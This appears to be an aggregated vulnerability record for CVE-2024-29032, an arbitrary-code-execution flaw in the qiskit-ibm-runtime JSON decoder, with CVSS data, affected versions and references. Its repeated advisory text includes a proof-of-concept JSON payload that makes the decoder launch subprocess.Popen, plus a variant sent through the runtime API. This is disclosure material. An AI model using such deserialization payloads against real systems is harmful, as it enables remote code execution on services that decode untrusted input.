{"id":"CVE-2024-29032","aliases":["EUVD-2024-1034","GHSA-x4x5-jv3x-9c7m","PYSEC-2026-1858"],"status":"published","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00372,"percentile":0.31427,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2024-03-20T15:44:22Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"PyPI","package":"qiskit-ibm-runtime","fixed_in":["0.21.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"qiskit-ibm-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0"},{"fixed":"0.21.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"qiskit-ibm-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0"},{"fixed":"0.21.2"}]}],"versions":["0.1.0","0.1.1","0.10.0","0.11.0","0.11.1","0.11.2","0.11.3","0.12.0","0.12.1","0.12.2","0.13.0","0.14.0","0.15.0","0.15.1","0.16.0","0.16.1","0.17.0","0.18.0","0.19.0","0.19.1","0.2.0","0.20.0","0.21.0","0.21.1","0.3.0","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.7.0","0.7.0rc1","0.7.0rc2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]},{"source":"osv","ecosystem":"PyPI","package":"qiskit-ibm-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.0"},{"fixed":"0.21.2"}]}],"versions":["0.1.0","0.1.1","0.10.0","0.11.0","0.11.1","0.11.2","0.11.3","0.12.0","0.12.1","0.12.2","0.13.0","0.14.0","0.15.0","0.15.1","0.16.0","0.16.1","0.17.0","0.18.0","0.19.0","0.19.1","0.2.0","0.20.0","0.21.0","0.21.1","0.3.0","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.7.0","0.7.0rc1","0.7.0rc2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"]}],"products":[{"vendor":"ibm","product":"qiskit_ibm_runtime"},{"vendor":"qiskit","product":"qiskit-ibm-runtime"}],"references":[{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d","tags":["x_refsource_MISC","x_transferred","Issue Tracking","fix","web"]},{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159","tags":["x_refsource_MISC","x_transferred","Issue Tracking","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29032","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-x4x5-jv3x-9c7m","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/29xxx/CVE-2024-29032.json","tags":["advisory"]},{"url":"https://github.com/Qiskit/qiskit-ibm-runtime","tags":["package"]},{"url":"https://pypi.org/project/qiskit-ibm-runtime","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-29032","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.","status":"published","published":"2024-03-20T20:30:38.954Z","modified":"2024-08-02T01:03:51.674Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:34:14.985673Z"}],"euvd":[{"id":"EUVD-2024-1034","description":"Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.","status":"published","published":"2024-03-20T20:30:38Z","modified":"2024-08-02T01:03:51Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-03T03:50:26.166982Z"}],"ghsa":[{"id":"GHSA-x4x5-jv3x-9c7m","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(\u003cibm_cloud_credentials\u003e)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)","status":"published","published":"2024-03-20T15:44:22Z","modified":"2024-03-20T21:37:57Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:37:41.821668Z"}],"nvd":[{"id":"CVE-2024-29032","description":"Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.","status":"published","published":"2024-03-20T21:15:31.37Z","modified":"2026-06-17T07:22:17.423Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:09:41.654534Z"}],"osv":[{"id":"CVE-2024-29032","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.","status":"published","published":"2024-03-20T20:30:38.954Z","modified":"2026-10-28T02:30:35.576253413Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:40.06138Z"},{"id":"GHSA-x4x5-jv3x-9c7m","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(\u003cibm_cloud_credentials\u003e)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)","status":"published","published":"2024-03-20T15:44:22Z","modified":"2026-09-10T03:49:24.724667698Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:59.484835Z"},{"id":"PYSEC-2026-1858","title":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","description":"### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(\u003cibm_cloud_credentials\u003e)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)","status":"published","published":"2026-07-07T11:45:35.805433Z","modified":"2026-07-07T17:48:08.008702852Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}